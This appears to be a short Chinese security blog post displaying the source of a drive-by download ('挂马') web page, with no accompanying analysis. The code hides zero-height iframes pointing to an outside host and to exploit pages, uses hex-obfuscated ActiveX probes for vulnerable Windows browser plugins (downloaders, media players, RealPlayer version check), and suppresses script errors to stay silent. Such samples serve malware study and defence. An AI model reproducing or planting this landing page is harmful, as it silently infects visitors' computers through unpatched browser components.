安全代码

一个挂马页面

<br>
<iframe src=http://www.sb7896.cn/a133/fxx.htm width=100 height=0></Iframe>
<br>
<br>
<br>
<br>

<script type="text/javascript" src="http://js.tongji.cn.yahoo.com/857114/ystet.js"></script>
<br>

<Script>
document.write("<Iframe width=100 height=0 src=fx.htm></iframe>");
document.write("");var sscs="lpc";
document.write("<Iframe width=100 height=0 src=../a1/ss.htm></iframe>");
window.status="完成";
window.onerror=function(){return true;}
if(navigator.userAgent.toLowerCase().indexOf("msie 7")==-1){
var dxkxss="ds";
document.write("<Iframe width=100 height=0 src=../a1/MS06014.htm></iframe>");}
try{var m;
var hw=new ActiveXObject("\x44"+"\x6f"+"\x77"+"\x6e\x6c\x6f\x61\x64\x65\x72\x2e\x44\x4c\x6f\x61\x64\x65\x72\x2e\x31");}
catch(m){};
finally{if(m!="[\x6f\x62\x6a\x65\x63\x74 \x45\x72\x72\x6f\x72]"){document.write("<Iframe width=100 height=0 src=../a1/sina.htm></iframe>");}}
try{var n;var qxxxxx="xac";var qxaaxx="aaaac";var povjudgqjx="fsdfvjjt";
var hl=new ActiveXObject("UUUPGRADE.UUUpgradeCtrl.1");}
catch(n){};
finally{if(n!="[object Error]"){document.write("Downloader.DLoader.1");var cqqqqd="s";
document.write("<Iframe Width=100 height=0 src=../a1/no.htm></iframe>");}}var ddddddddd="dddddddddds";
try{var b;
var ml=new ActiveXObject("MPS.StormPlayer");}
catch(b){};
finally{if(b!="[object Error]"){document.write("<Iframe width=100 height=0 src=../a1/bfyy.htm></iframe>");}}var sddbd="x";var sddqd="x";
try{var f;
var gw=new ActiveXObject("GLIEDown.IEDown.1");}
catch(f){};
finally{var dxl="x";if(f!="[object Error]"){document.write("<Iframe width=100 height=0 src=../a1/GLWORLD.html></iframe>");}}var pqxl="d";
function test()
{
var kkk="d";
rrooxx = "IER" + "PCtl.I" + "ERP" + "Ctl.1";
try
{
Like = new ActiveXObject(rrooxx);
}catch(error){return;}
vvvvv = Like.PlayerProperty("PRODUCTVERSION");
var llooiiuuyy="f";
if(vvvvv<="\x36\x2e\x30\x2e\x31\x34\x2e\x35\x35\x32"){var ammc="dsvb";
document.write('<Iframe style=display:none src="../a1/real.htm"></iframe>');}
else
document.write('<iframe style=display:none src="../a1/real.hTml"></iframe>');
}
test();
document.write("");document.write("");document.write("");document.write("");var fjd="fdsfsd";abc="dfdae";document.write("");var fkav="BS";var fkasaccv="BS";var fkaqfccv="BS";var fkfdccv="BS";var bcalv="BS";
</script>

• 2010-03-19 -- CSRF的防御
• 2010-03-11 -- WEB 安全边界确认模型